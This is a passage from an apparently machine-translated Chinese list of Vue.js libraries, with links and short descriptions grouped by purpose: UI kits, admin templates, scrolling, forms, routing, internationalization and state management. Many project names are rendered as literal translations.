- [办公室-UI-织物Vue](https://github.com/aidewoode/office-ui-fabric-vue)- Vue.js的Office UI Fabric实现
- [vuestic管理员](https://github.com/epicmaxco/vuestic-admin)- 带有自定义组件集合的Vue Admin Dasboard. 使用Vue 2和Bootstrap 4构建
- [语义UI Vue](https://github.com/Semantic-UI-Vue/Semantic-UI-Vue)- Vue的语义UI集成
- [vuesax](https://github.com/lusaxweb/vuesax)- Vue.js的前端vue组件
- [Vue的基本JS 2](https://www.syncfusion.com/products/vue)- 全功能的45+ Vue.js组件,包括数据网格,图表,调度程序和图表组件等.
- [女妖](https://github.com/banshee-ui/banshee)- 一个主要是无渲染的Vue UI组件和实用程序框架,没有CSS.
- [Vue地图集](https://github.com/nvms/vue-atlas)- 基于Atlassian设计指南的组件库.
### 移动
*移动组件集*
- [薄荷的UI](https://github.com/ElemeFE/mint-ui)- Vue.js的移动UI元素.
- [vant](https://github.com/youzan/vant)- 来自YouZan的Vue.js 2.0移动UI.
- [立方体的UI](https://didi.github.io/cube-ui)- Vue.js 2的精彩移动ui lib工具.
- [普通话移动](https://didi.github.io/mand-mobile)- 基于Vue.js 2的移动UI工具包,专为金融场景而设计.
### 管理员模板
*管理模板集*
- [iView Vue管理员](https://github.com/TonyLuo/iview-vue-admin)- iView Vue Admin /基于iView 2.x的管理门户模板
- [元素Vue Admin](https://github.com/TonyLuo/element-vue-admin)- element Vue Admin /基于Element UI 2.x的管理门户模板
- [Vue元素管理员](https://github.com/PanJiaChen/vue-element-admin)- 基于Element UI 2.x的神奇vue管理员
- [d2admin](https://github.com/FairyEver/d2admin-vue-element)- 由vue构建的优雅后台模板
- [休息管理员](https://github.com/wxs77577/rest-admin)- 基于Vue和Boostrap的宁静管理面板4[在线演示](http://rest-admin.genyii.com)
### 服务器端呈现
- [Nuxt.js](https://github.com/nuxt/nuxt.js)- 多功能的Vue.js框架.
- [里姆](https://github.com/ream/ream)- 用于构建服务器呈现和静态网站的简约框架.
### 静态网站生成器
- [VuePress](https://github.com/vuejs/vuepress)- 简约的Vue供电静态站点生成器.
- [皮科](https://github.com/egojump/peco)- 人类的静态网站生成器.
### 其他
- [应用程序框架](https://github.com/scriptPilot/app-framework)- 使用HTML和JavaScript的IOS和Android应用程序 - 开发,构建和部署 - 免费和开源.
- [Myfirebase](https://github.com/myfirebase/myfirebase)- 与Google Firebase高度兼容的分离式单页面应用程序框架.
- [Vue公司的访问控制](https://github.com/tower1229/Vue-Access-Control)基于Vue.js的前端访问控制框架2.
- [Basys](https://github.com/basys/basys)用于构建全栈Vue.js应用程序的工具箱
## UI实用程序
### 事件处理
*处理用户事件 (滚动,点击,按键,......) *
- [vue-shortkey](https://github.com/iFgR/vue-shortkey)- Vue-ShortKey - Vue.js的插件.
- [Vue油门事件](https://github.com/scaccogatto/vue-throttle-event)- 基于requestAnimationFrame的节流事件.
- [Vue航路点](https://github.com/scaccogatto/vue-waypoint)- Vue的Waypoint组件,这是滚动时触发功能的最简单方法.
- [vue-clickaway](https://github.com/simplesmiler/vue-clickaway)- 可重复使用的Clickout指令,用于可重用的Vue.js组件.
- [vue-scrollfire](https://github.com/vue-comps/vue-scrollfire)- 在特定滚动位置触发事件.
- [Vue调整大小,指令](https://github.com/David-Desmaisons/Vue.resize)- Vue指令,用于检测具有减少和限制容量的调整大小事件.
- [V-点击外](https://github.com/ndelvalle/v-click-outside)- Vue指令在不停止事件传播的情况下对元素外部的点击作出反应.
- [Vue-外活动](https://github.com/nchutchind/vue-outside-events)- Vue 2.x指令帮助指定的元素监听在其自身之外发生的特定事件.
- [Vue可选](https://github.com/JSmith01/vue-selectable)- Vue 1.x / 2.x指令,可通过鼠标选择项目.
- [Vue单击辅助](https://github.com/huangshuwei/vue-click-helper)- 用于处理同一元素上的click事件和dblclick事件的Vue2.x指令.
- [V-热键](https://github.com/Dafrok/v-hotkey)- 用于将热键绑定到组件的Vue 2.x指令.
- [Vue调整大小](https://github.com/Akryum/vue-resize)- 用于检测调整DOM元素大小的Vue 2.x组件 (基于事件/没有window.onresize)
- [Vue-观察能见度](https://github.com/Akryum/vue-observe-visibility)- 使用Intersection Observer API的Vue 2.x指令,用于检测元素是否可见 (在视口中,而不是由CSS隐藏) .
- [V-拖](https://github.com/zhanziyang/v-dragged)- 用于拖动事件检测的Vue 2.x指令插件.
- [vue-esc](https://github.com/ianaya89/vue-esc)- Vue.js指令在转义键上添加文档事件监听器.
- [Vue全局事件](https://github.com/shentao/vue-global-events/)- 使用Vue事件修饰符处理全局事件 (如快捷方式) 的组件
- [Vue边检查](https://github.com/gu-fan/vue-edge-check/)- 检查浏览器边缘以防止在滑动边缘时奇怪地触发过渡效果`vue-router`
- [Vue突变观察者](https://github.com/PNKBizz/vue-mutation-observer)- 观察DOM变化的简单而微小的指令使用MutationObserver API
### 响应式设计
- [Vue,视](https://github.com/scaccogatto/vue-viewports)- 定义自定义视口并在组件中使用它们.
- [Vue响应](https://github.com/reinerBa/Vue-Responsive): Vue.js (2.x) 指令隐藏/显示带有Bootstrap 4,3或自定义断点的HTML元素.
- [Vue匹配媒体](https://github.com/drenglish/vue-match-media)- Vue 2.x兼容插件,提供一致的语义方法,使组件可识别媒体查询.
- [Vue媒体查询,混入](https://github.com/jofftiquez/vue-media-query-mixin)- Vue 2媒体查询mixin,可用于组件j和组件模板. 兼容bootstrap和vuetify视口. `wXS`如果屏幕宽度是xs则返回`wSM`如果屏幕宽度为sm等,则返回true ...
- [Vue的断点](https://github.com/apertureless/vue-breakpoints)- Vue 2个最小组件,用于根据断点显示和隐藏元素. 灵感来自Airbnb.
- [vue-mq](https://github.com/AlexandreBonaventure/vue-mq)- 提供一些有用的工具,通过语义和移动优先API (Vue 2.x) 快速设置响应式设计
- [VueResizeSensor](https://github.com/SeregPie/VueResizeSensor)- 支持调整大小事件的容器.
- [Vue断点组分](https://github.com/adi518/vue-breakpoint-component)- 用于组成CSS断点状态的无渲染组件.
- [细MQ](https://github.com/nash403/fine-mq)- 一个很好的API,可以轻松地管理JS中的媒体查询,并将VueJS作为插件进行一流的集成.
### 形成
- [vue-formly](https://github.com/formly-js/vue-formly)- Vue.js的JavaScript驱动表单.
- [Vue焦点](https://github.com/simplesmiler/vue-focus)- 可重用的Vue.js组件的可重用焦点指令.
- [Vue外形发生器](https://github.com/icebob/vue-form-generator)- Vue.js的基于模式的表单生成器组件.
- [Vue-JSON-模式](https://github.com/demsking/vue-json-schema)- 使用JSON Schema和Vue.js生成表单
- [ic-formly](https://github.com/InCuca/ic-formly)- 由vue-formly驱动的简单表单组件.
- [表单生成器](https://github.com/laravel-enso/formbuilder)- 基于Vson和Laravel的基于Json模板的表单构建器.
- [Vue - 自动聚焦指令](https://github.com/Botre/vue-autofocus-directive)- Vue自动对焦指令.
- [Vue - 真棒形式](https://github.com/fightingm/vue-awesome-form)- 像json-editor一样的vue.js组件
#### 验证
- [V形验证](https://github.com/logaretm/vee-validate)- 简单的Vue.js输入验证插件.
- [vue-rawmodel](https://github.com/xpepermint/vue-rawmodel)- Vue.js v2的RawModel.js插件. 表单验证从未如此简单.
- [vuelidate](https://github.com/monterail/vuelidate)- 为Vue.js进行简单,轻量级的基于模型的验证
- [简单Vue验证器](https://github.com/semisleep/simple-vue-validator)- 一个简单而灵活的vue.js验证器库.
- [vue-vform](https://github.com/joseluisq/vue-vform)- Vue.js 2表单组件,集成了jQuery Validation和Axios.
- [Vue形式](https://github.com/fergaldoyle/vue-form)- Vue.js的综合表格验证.
- [vuelidation](https://github.com/cj/vuelidation)- 简单,强大,vuejs验证.
- [laravel-Vue验证器](https://github.com/val-bubbleflat/laravel-vue-validator)- 显示laravel验证规则中的错误
- [vuejs模型验证器](https://github.com/deulos/vuejs-model-validator)- VueJS样式数据组件验证. 简单,简洁,准确.
- [willvalidate](https://github.com/gustavoSoriano/willvalidate)- Vue.js的验证表格.
- [Vue - 间 - 校验](https://github.com/silksofthesoul/vue-m-validator)- VueJs的模型数据验证库.
- [vue-isyourpasswordsafe](https://github.com/Pitu/vue-isyourpasswordsafe)- 用Vue编写的一个小实用程序,用于检查给定密码是否已泄露给Have I Been Pwned API.
### 调整
- [Vue - 不可见](https://github.com/PxyUp/vue-not-visible)- 用于从小于断点的屏幕上移除dom (如v-if) 元素的Vue指令.
### 滚动
*设置窗口滚动位置*
- [Vue聊天滚动](https://github.com/theomessin/vue-chat-scroll)- Vue.js 2.0的自动滚动到底部指令.
- [vue-scrollto](https://github.com/rigor789/vue-scrollTo)- 添加一个指令,用于侦听单击事件并滚动到元素.
- [Vue-下一级滚动](https://github.com/Developmint/vue-next-level-scroll)- 基于组件和SSR就绪方法,使用现代Scroll行为API平滑滚动
- [Vue滚动同步](https://github.com/metawin-m/vue-scroll-sync)- 同步容器滚动位置的组件
- [V-滚动锁](https://github.com/phegman/v-scroll-lock)- 用于体滚动锁定的Vue.js指令,不会破坏目标元素的滚动
*虚拟滚动条*
- [直条](https://github.com/luiguild/v-bar)- Vue.js 2x的虚拟响应式跨浏览器滚动条组件.
- [Vuebar](http://serafin.io/vuebar/)- 使用本机滚动行为的自定义滚动条的Vue 2指令. 轻量级,高性能,可定制且无依赖性.
- [Vue独立式,滚动条](https://github.com/ozangulle/vue-detached-scrollbar)- 一个简单的滚动条,可以从滚动的容器中分离出来.
- [vuescroll](https://github.com/YvesCoding/vuescroll)- 基于Vue.js的滚动插件,用于统一PC和移动设备中的滚动.
*检测组件何时进入视口*
- [Vue,滚动视图](https://github.com/chrishurlburt/vue-scrollview)- 利用作用域槽来检测vue组件何时进入和离开视口的组件.
- [vue-scrollactive](https://github.com/eddiemf/vue-scrollactive)- 根据视口中的当前部分在菜单项中添加活动类,同时在单击菜单项时滚动到该部分.
- [Vue相交](https://github.com/heavyy/vue-intersect)- 用于将交叉观察者添加到Vue组件或HTML元素的Vue组件.
- [vue-scrollmonitor](https://github.com/AlexandreBonaventure/vue-scrollmonitor)- 一个Vue插件,用于监视视口内元素的可见性状态,支持各种浏览器 (使用provide / inject so compat vue@2.2.x)
- [Vue,漫步](https://github.com/xiaoluoboding/vue-stroll)- 一个令人敬畏的CSS3列表滚动效果组件为Vue.js 2.x.
- [navscroll-js](https://github.com/nash403/navscroll-js)- 滚动时突出显示菜单项,并在单击菜单项时滚动到某个部分. 用作vue组件,vue指令或vanilla js.
- [vue-scrollwatch](https://github.com/Desdesdesgo/vue-scrollwatch)- 一个轻量级插件检测滚动事件,当元素进入视口时自定义回调,公开'scrollTo'api滚动到特定元素. 使用vue指令.
- [Vue检查视图](https://github.com/vtimofeev/vue-check-view)- 一个插件,用于检查元素是否在视口中. 快速,小巧,没有依赖性,现场演示.
- [vue-stickto](https://github.com/JALBAA/vue-stickto)- 支持多个DOM节点的vue指令自动粘贴到顶部
*自定义滚动行为*
- [Vue滚动行为](https://github.com/jeneser/vue-scroll-behavior)- 自定义路径导航中的滚动行为. 特别是哈希模式.
- [Vue滚动停止](https://github.com/voxtobox/vue-scroll-stop)- 到达边缘时停止传播滚动.
*无缝滚动*
- [Vue无缝滚动](https://github.com/chenxuan0000/vue-seamless-scroll)- Vue.js的简单无缝滚动.
### 路由
- [Vue路由器](https://github.com/vuejs/vue-router)- Vue.js的官方路由器.
- [Vue路由器存储](https://github.com/ElderJames/vue-router-storage)- Vue.js 2和vue-router 2的路由器存储和解决方案
- [vue-tidyroutes](https://github.com/edgarnadal/vue-tidyroutes)- 分散的vue-router路由定义
- [vue-routisan](https://github.com/raniesantos/vue-routisan)- 基于Laravel路由系统的Vue路由器的优雅路由定义
- [Vue错误页](https://github.com/raniesantos/vue-error-page)- 为路由器视图提供包装,允许您在不更改URL的情况下显示错误页面
### 延迟加载
- [Vue,lazyload](https://github.com/hilongjw/vue-lazyload)- 一个Vue.js插件,用于在应用程序中延迟加载图像或组件.
- [Vue-懒惰背景图像](https://github.com/darrynten/vue-lazy-background-images)- 为Vue 2添加延迟加载背景图像.
- [Vue-逐行图像](https://github.com/MatteoGabriele/vue-progressive-image)- Vue渐进式图像加载插件.
- [Vue -1- lazyload](https://github.com/lsycxyj/vue-l-lazyload)- Vue.js v2.x +的lazyload插件.
- [vue-lazyload-img](https://github.com/JALBAA/vue-lazyload-img)- 特别为移动浏览器优化. 支持V2和v1.
- [Vue懒惰图像](https://github.com/yyh1102/vue-lazyload-images)- Vue 2.x的lazyload图像插件.
- [V-懒惰IMG](https://github.com/nkoehring/v-lazy-img)- 用于Vue 2逐行图像加载的微小 (\<0.6kb) 指令.
- [Vue-clazy负荷](https://github.com/matheusgrieger/vue-clazy-load)- 使用IntersecionObserver for Vue 2的轻量级可转换图像延迟加载组件.
- [Vue懒惰,这](https://github.com/thangman22/vue-lazy-this)- 使用Intersection Observer API进行延迟加载组件.
- [V2-懒列表](https://github.com/dwqs/v2-lazy-list/)- 一个基于Vue 2.x的简单延迟加载列表组件
- [pimg](https://github.com/ooade/pimg)- 用于延迟加载图像的简单渐进式图像组件.
- [Vue纤巧,lazyload-IMG](https://github.com/mazipan/vue-tiny-lazyload-img)- 用于延迟加载图像的小尺寸Vue.js v.2 +指令
### 分页
- [vue-paginate](https://github.com/TahaSh/vue-paginate)- 一个简单的vue.js插件,用于分页数据.
- [Vue-分页-2-](https://github.com/matfish2/vue-pagination-2)- Vue.js 2分页组件.
- [vuejs-UIB-分页](https://github.com/sant123/vuejs-uib-pagination)- Vue.js的最佳和完整的分页插件. 受到Angular Bootstrap Pagination的启发.
- [vuejs-paginate](https://github.com/lokyoung/vuejs-paginate)- 用于创建分页的Vue.js (v2.x +) 组件.
- [Vue-分页自举](https://github.com/brunoseco/vue-pagination-bootstrap)- 具有基于Bootstrap的模板的Vue.js (1.x和2.x) 服务器端分页组件
- [laravel-Vue语意UI的分页](https://github.com/vinayakkulkarni/laravel-vue-semantic-ui-pagination)- 与Laravel和Semantic-UI一起使用的Vue.js 2.x分页.
- [vue-paginate-al](https://github.com/alziqziq/vue-paginate-al)- Vue paginate返回您的数据.
- [Vue纤巧,分页](https://github.com/coderdiaz/vue-tiny-pagination)- 用于创建小分页的Vue组件.
- [laravel-Vue,分页](https://github.com/gilbitron/laravel-vue-pagination)- 适用于Bootstrap的Laravel分页器的Vue.js分页组件.
- [vue-lpage](https://github.com/Botre/vue-lpage)- 低级别Vue分页组件.
- [V-页](https://github.com/TerryZ/v-page)- 一个简单的分页栏,包括基于Vue2.x的长度菜单,i18n支持.
- [Vue - 智能分页](https://github.com/grinmax/vue-smart-pagination)- 使用许多不错的设置对任何数据进行智能分页.
- [vue-paginatron](https://github.com/sbaidon/vue-paginatron)- 使用范围槽道具构建的分页组件,以实现最大的灵活性.
- [Vue的广告,分页](https://github.com/arnedesmedt/vue-ads-pagination)- 使用css框架构建vue分页组件[tailwindcss](https://tailwindcss.com/docs/what-is-tailwind/)
### 动画
- [vue2,动画](https://github.com/asika32764/vue2-animate)- Animate.css的Vue.js 2.0端口. 用于Vue的内置过渡.
- [动画-Vue](https://github.com/radical-dreamers/animated-vue)- 一个Vue.js 2.x插件,可以轻松地将Animate.css动画用作过渡. 一样容易`<animated-tada>`!
- [Vue,洛蒂](https://github.com/chenqingspring/vue-lottie)- 一个Vue.js 2.x插件,用于渲染基于bodymovin的效果动画
- [Vueg](https://github.com/jaweii/vueg)- 使vue-router具有转换效果/为webApp提供转场特效的开源Vue插件
- [V-动画,CSS](https://jofftiquez.github.io/v-animate-css/)- 最容易为Animate.css实现Vue 2指令
- [Vue-mixin的吐温](https://github.com/lukechinworth/vue-mixin-tween)- Mixin工厂,它将补间值添加到动画的组件上下文中
- [V-里程表](https://github.com/JefferyHus/v-odometer)- 轻松过渡数字. 使用此库为应用程序提供流畅的动画,仅适用于数字.
- [vue2跃迁](https://github.com/cristijora/vue2-transitions)✨可重复使用的Vue 2过渡组件
- [Vue,超速](https://github.com/mattrothenberg/vue-overdrive)Vue应用程序的超级简单魔法移动过程🎩
- [动画数-Vue](https://github.com/Leocardoso94/animated-number-vue)动画数字的超级简单方法.
- [Vue类型的-JS](https://github.com/Orlandster1998/vue-typed-js)Typed.js集成可轻松创建典型的动画.
- [Vue父母变化的过渡](https://github.com/inamori/vue-parent-change-transition)允许子组件在更改父组件时进行动画处理.
- [Vue光滑回流](https://github.com/guanzo/vue-smooth-reflow)转换元素重排以响应数据更改.
- [VueTween](https://github.com/SeregPie/VueTween)允许组件补间其属性.
- [Vue-滑动上下](https://github.com/danieldiekmeier/vue-slide-up-down)就像jQuery一样`slideUp`/`slideDown`,但对于Vue!
- [vue-animejs](https://github.com/BenAHammond/vue-anime)简单`anime.js`Vue的指令.
### 元标签
*管理文档头中的元信息*
- [Vue头](https://github.com/ktquez/vue-head)- 管理头标记的元信息,这是一种简单易行的方法.
- [Vue-元](https://github.com/declandewet/vue-meta)- 在Vue 2.0组件中管理页面元信息. 支持SSR + Streaming.
- [vue-headful](https://github.com/troxler/vue-headful)- 设置文件`<title>`和视图中的元标记.
- [Vue-简单headful](https://github.com/VeryWow/vue-simple-headful)- 使用vue.js轻松设置元标记 - 更简单`vue-headful`替代TypeScript支持.
### 门户
*将DOM节点移动到目标DOM节点*
- [Vue-DOM门户](https://github.com/calebroseland/vue-dom-portal)- Vue.js组件中DOM Elements的逃生舱口.
- [门户Vue](https://linusborg.github.io/portal-vue)- 一个Vue插件,用于在DOM中的任何位置呈现组件的模板 (在virtualDOM级别上工作,不会在DOM中移动节点)
### 过滤器
- [vue2过滤器](https://github.com/freearhey/vue2-filters)- 标准过滤器Vue 1的集合. *适用于Vue 2. *.
- [Vue,变体精灵](https://github.com/jofftiquez/vue-morphling)- Vue 2标准和自定义过滤器的集合.
- [Vue货币过滤器](https://github.com/mazipan/vue-currency-filter)- 轻量级和可定制的Vue 2货币过滤器.
- [Vue反](https://github.com/Trekels/vue-trans)- 一个简单的过滤器,提供类似的方式转换为Symfony trans.
- [Vue串过滤器](https://github.com/mazipan/vue-string-filter)- 轻量级Vue 2字符串操作过滤器.
- [Vue单位](https://github.com/ERPedersen/vue-units)- 用于Vue 2的便捷单元转换滤波器的集合.
- [Vue-数字滤波器](https://github.com/lloydjatkinson/vue-numeral-filter)- 一组过滤器,允许Numeral.js在组件的模板部分中内联使用.
### SVG
- [vue-svgicon](https://github.com/MMF-FE/vue-svgicon)- 创建svg图标组件的工具. (vue 2.x) .
- [Vue内容加载](https://github.com/LucasLeandro1204/vue-content-loading)- Vue组件轻松构建 (或使用预设) SVG加载卡Facebook喜欢.
- [Vue-注释](https://github.com/DrSensor/vue-annotator)- 使用任何SVG元素注释页面 (`rect`,`polygon`等等,甚至是HTML Element之类的`canvas`如果被包裹`foreignObject`)
- [Vue-SVG-精灵](https://github.com/thierrymichel/vue-svg-sprite)- 简单使用SVG精灵 (vue 2.x) 的指令.
- [Vue-SVG-填料](https://github.com/biigpongsatorn/vue-svg-filler)- 用于自定义svg文件的Vue组件🖍🎨 (vue 2.x) .
### 杂
- [Vue资源,进度拦截](https://github.com/staskjs/vue-resource-progressbar-interceptor)- 将进度条与所有请求联系起来的拦截器,很明显正在加载某些东西.
- [Vue图像加载的](https://github.com/David-Desmaisons/Vue.ImagesLoaded)- 用于检测图像加载的Vue.js 2.0指令.
- [Vue可见](https://github.com/javisperez/vue-visible)- VueJS (2.x) 的v-visible指令,如v-show,但可见性.
- [Vue调整大小传感器](https://github.com/FranckFreiburger/vue-resize-sensor)- 检测容器大小调整的组件 (基于事件)
- [V-模糊](https://github.com/ndelvalle/v-blur)- Vue指令动态模糊元素
- [Vue - 异步方法](https://github.com/mokkabonna/vue-async-methods)- 基于承诺的方法的Helper实用程序
- [vue-openseadragon](https://github.com/braceslab/vue-openseadragon)- Vue.js的OpenSeaDragon组件 (缩放和平移)
- [Vue匹配,高度](https://github.com/samturrell/vue-match-heights)- 将元素高度设置为相同的指令.
- [Vue-有条件ATTRS](https://github.com/FL3NKEY/vue-conditional-attrs)- 用于条件呈现属性和指令的Vue.js组件
- [vue-cbsc](https://github.com/arthurvasconcelos/vue-cbsc)- Vue.js 2.x组件,用于以编程方式进行混合,着色和转换颜色.
- [vue-spatialnavigation](https://github.com/twcapps/vue-spatialnavigation)- 用于空间导航的Vue指令 (Vue.js 2.x) (键盘导航)
- [Vue生命周期](https://github.com/FL3NKEY/vue-lifecycle)- Vue.js生命周期指令.
### WebGL的
- [Vue-3D模型](https://github.com/hujiulong/vue-3d-model)- Vue组件中的3D模型查看器.
- [Vue,全景](https://github.com/ChiChou/vue-pano)- Vue组件中的全景查看器.
- [vue-threejs](https://github.com/fritx/vue-threejs)- Three.js的Vue绑定.
- [VueGL](https://github.com/vue-gl/vue-gl)- Vue.js组件通过three.js反应性地渲染3D图形
- [vue-vr](https://github.com/imudin/vue-vr)- 基于Vue构建VR应用程序的框架[threejs](https://threejs.org/)和[Panolens](https://pchen66.github.io/Panolens/),灵感来自[反应-VR](https://github.com/facebook/react-vr)
### 全屏
- [Vue全屏](https://github.com/mirari/vue-fullscreen)- 全屏的简单Vue组件.
### 页面可见性
- [Vue页的能见度,真棒](https://github.com/stefanodotit/vue-page-visibility-awesome)- 易于配置页面可见性api的Vue 2.x组件.
- [vue-authplugin](https://github.com/vv13/vue-authplugin)- 优雅的视图auth控件插件,支持指令和原型方法.
### 印花
- [Vue-HTML到纸张的](https://mycure-inc.github.io/vue-html-to-paper/)- Vue mixin用于纸张打印html元素到纸张.
## 公用事业
*实用程序与UI没有直接关系*
- [Vue下划线](https://github.com/HKskn/vue-underscore)- 用于实现下划线的简单vue插件
### 打字稿
- [Vue类型的](https://github.com/vue-typed/vue-typed)- ECMAScript / Typescript装饰器集,可帮助您轻松编写Vue组件.
- [Vue,打字稿](https://github.com/itsFrank/vue-typescript)- 使用类型编辑装饰器使vue感觉更加类型化.
- [Vue属性,装饰](https://github.com/kaorun343/vue-property-decorator)- Vue.js和Property Decorator.
- [Vue-打字稿组分](https://github.com/locoslab/vue-typescript-component)- 装饰器使用TypeScript类作为Vue.js 2.0组件.
- [Vue-打字稿进口-DTS](https://github.com/locoslab/vue-typescript-import-dts)- 允许对.vue文件使用'import'的TypeScript声明文件.
- [Vue-TS-装载机](https://github.com/HerringtonDarkholme/vue-ts-loader)- 在vue-loader中键入 - 检查脚本.
- [Vue-mixin的装饰](https://github.com/justrhysism/vue-mixin-decorator)- 用于强类型Mixins的Typescript装饰器.
- [Vue-TS-组分发电机](https://github.com/frogbob/vue-ts-component-generator)- 用于生成vue打字稿组件的简单cli工具.
- [Vue本地存储,装饰](https://github.com/vip30/vue-local-storage-decorator)- 使用装饰器格式的本地stoarge保留数据
### HTTP请求
*通过HTTP检索数据*
- [Vue资源](https://github.com/pagekit/vue-resource)- Vue.js的HTTP客户端.
- [Vue-异步计算的](https://github.com/foxbenjaminfox/vue-async-computed)- Vue.js的异步计算属性.
- [vue-jsonp](https://github.com/LancerComet/vue-jsonp)- 用于处理JSONP请求的小型库.
- [V模型](https://github.com/huanleguang/v-model)- V-Model是Vue.js的模型插件,就像ng-resource一样.
- [Vue资源,模拟](https://github.com/noru/vue-resource-mock)- 基于vue-resource的拦截器模拟你的http响应的助手.
- [Vue-异步数据-2-](https://github.com/kamijin-fanta/vue-async-data)- Vue.js的异步数据加载插件.
- [Vue-API请求](https://github.com/ftgibran/vue-api-request)- 一个可以完全控制API的插件,使您的请求变得简单,快速且易于实现.
- [Vue - 快 - 爱可信](https://github.com/leonardovilarinho/vue-fast-axios)- 以简单而美观的方式提出验证请求.
- [Vue-异步的属性](https://github.com/blainehansen/vue-async-properties)- 安`asyncData`和`asyncComputed`插件,支持去抖动,转换结果,错误处理程序,加载/挂起标志,懒惰/急切请求.
- [Vue - 爱可信 - 插件](https://github.com/yugasun/vue-axios-plugin)- 一个结合了axios和Vuejs的插件,使http请求更容易.
- [vuex-api](https://github.com/vouill/vuex-api)- 一个vuex插件,可以毫不费力地处理api调用.
- [基普金时间仪表Vue资源](https://github.com/elgris/zipkin-instrumentation-vue-resource)- 一个拦截器[Vue资源](https://github.com/pagekit/vue-resource)用于传输HTTP请求的工具[基普金](https://github.com/openzipkin/zipkin)
- [Vue-API查询](https://github.com/robsontenorio/vue-api-query)- 构建REST API请求的优雅而简单的方法.
### 国际化
*国际化/ L10n /本地化/翻译*
- [Vue,国际化](https://github.com/kazupon/vue-i18n)- Vue.js的国际化插件.
- [Vue - 翻译 - 插件](https://github.com/javisperez/vuetranslate)- 用于翻译的VueJS插件.
- [vuex,国际化](https://github.com/dkfbasel/vuex-i18n)- 使用vuex作为存储的vue.js 2.0的本地化插件.
- [Vue-的gettext](https://github.com/Polyconseil/vue-gettext)- 使用gettext翻译您的Vue.js应用程序.
- [Vue,国际化](https://github.com/MattyRad/vue-i18n)- 一个用于在Vue.js中实现翻译的小插件.
- [Vue,多语言](https://github.com/leonardovilarinho/vue-multilanguage)- 在Vue.js 2中支持多种语言.
- [Vue-TS-区域](https://github.com/twcapps/vue-ts-locale)- 使用Vl.js 2中的Intl实现翻译的插件,支持打字稿.
- [vue-i18next](https://github.com/panter/vue-i18next)- 支持Vue.js 2翻译的i18next包装器.
- [Vue,通晓多国语言](https://github.com/guillaumevincent/vue-polyglot)- 具有异步加载的Vue.js 2的基本翻译插件.
- [V-本地化](https://github.com/neetjn/v-localize)- 令人惊叹的Vue.js的简单本地化插件.
- [Vue - 简单的i18n](https://github.com/ClassicOldSong/vue-simple-i18n)- 可能是最薄的库,可以在1kb内结束所有Vue i18n解决方案
- [模板字符串,国际化](https://github.com/cutsin/template-string-i18n)- I18n使用模板字符串和自动保存/加载翻译文档.
- [Vue-翻译](https://github.com/owl1n/vue-translations)- 使用它轻松翻译您的vuejs应用程序.
### 自定义事件
- [Vue事件](https://github.com/cklmercer/vue-events)- Vue.js的简单事件处理.
- [Vue事件处理程序](https://github.com/sandeepk01/vue-event-handler)- VueJS的事件处理插件.
- [Vue事件管理器](https://github.com/pagekit/vue-event-manager)- Vue.js的全球事件经理.
- [Vue,创业板](https://github.com/vouill/vue-geb)- 使用Observables的全球事件总线.
- [Vue总线](https://github.com/fffixed/vue-bus)- Vue.js 2的简单中央事件总线插件.
- [Vue-简单事件](https://github.com/VeryWow/vue-simple-events)- 又一个事件管理插件,但没有Vue实例
### 坚持
*LocalStorage等*
- [Vue,localStorage的](https://github.com/pinguinjkeke/vue-local-storage)- 具有类型支持的Vue.js localStorage插件.
- [vue-ls](https://github.com/RobinCK/vue-ls)- Vue插件,用于从Vue上下文中使用LocalStorage.
- [Vue-袋](https://github.com/qurateinc/vue-pouch)- PouchDB的实时和反应绑定. 在IndexedDB中保留数据并与CouchDB同步.
- [vue-idb](https://github.com/ddgll/vue-idb)- 仅使用IndexedDB (Dexie.js) 列表和大型列表管理,或自动创建和扩展vuex模块
- [vuejs存储](https://github.com/maple3142/vuejs-storage)- 使用localStorage / sessionStorage的Vue.js和vuex插件到持久性数据.
- [vue-browserstore](https://github.com/gvost/vue-browserstore)- 浏览器存储包装器.
- [VueStorage](https://github.com/SeregPie/VueStorage)- 允许组件跨浏览器会话保存和加载数据.
- [Vue - 网络存储](https://github.com/ankurk91/vue-web-storage)另一个用于localStorage和sessionStorage的Vue.js插件
- [Vue万能饼干](https://github.com/S64/vue-universal-cookies)Vue.js / Nuxt.js的Isomorphic cookies插件支持Browser,Express,http (节点) .
- [vue2存储](https://github.com/yarkovaleksei/vue2-storage)Vue.js应用程序的浏览器存储
- [Vue仓库](https://github.com/bazzite/vue-warehouse)Vue.js和Nuxt.js的跨浏览器存储,支持基于Store.js的插件支持和轻松扩展.
### 国家管理
- [vuex](https://github.com/vuejs/vuex)- Vue.js的集中状态管理
- [Vue同步](https://github.com/buhrmi/vue-sync)- 将Vue State与浏览器URL,服务器后端和其他端点同步.
- [vuelm](https://github.com/keuller/vuelm)- 受Elm架构启发的轻量级状态管理.
- [Vue铎](https://github.com/haoxins/vue-duo)- Vue.js的微小状态管理.
- [vuez](https://github.com/markselby9/vuez)- 一个简单但功能强大的Vue.js状态管理,只有2个API.
- [vuet](https://github.com/medevicex/vuet)- Vue.js敏捷开发的状态管理模型
- [Vue - 雅藏匿](https://github.com/qgp9/vue-ya-stash)- 另一个带有更新/补丁事件发射器的存储存储器与v-bind.sync相似
- [Vue指派模型](https://github.com/midnightSuyama/vue-assign-model)- 自动为Vue.js的模型分配元素值.
- [Vue,藏匿](https://github.com/cklmercer/vue-stash)- 在Vue组件之间轻松共享反应数据.
- [vue-mc](https://github.com/FiguredLimited/vue-mc)- Vue.js的模型和集合
- [Vue模型](https://github.com/aarondfrancis/vue-model)- Vue.js的模型组件
- [tuex](https://github.com/Raiondesu/Tuex)- Vuex最合理的替代方案.
- [revuejs](https://github.com/dwqs/revuejs)- 为vuejs 2提供一个小巧,轻便,便捷的状态管理,编写较少冗长的代码.
- [攻略](https://github.com/dwqs/lue)- 基于Vue和vuex的库,编写较少详细的代码.
- [vuex - 精简版](https://github.com/rayraegah/vuex-lite)- 只有状态和突变的1KB Vuex.
- [Vuenut](https://lusaxweb.github.io/vuenut.org/)- 是一个更快,更流利的组件.
- [Vue共享](https://github.com/raizam/vue-shared)- 轻而简单的替代vuex
- [vuex模块发电机](https://github.com/abdullah/vuex-module-generator)- 它允许您轻松创建vuex模块.
#### 终极版
- [vuedeux](https://github.com/Vuedeux/vuedeux)- Vue和Redux的绑定解决方案.
- [终极版店,混入](https://github.com/kolesoffac/redux-store-mixin)- 用于在vue-component方法中集成动作创建者的Mixin
- [Vue - 终极版 - 准备道具](https://github.com/kolesoffac/vue-redux-prepare-props)- 使用道具的助手*终极版*同*Vue.js*运用*Vuex*和*Vuedeux*
- [vuejs - 终极版](https://github.com/titouancreach/vuejs-redux)- Vue和Redux的高阶组件工具.
#### Mobx
- [movue](https://github.com/nighca/movue)- Vue.js的Mobx集成
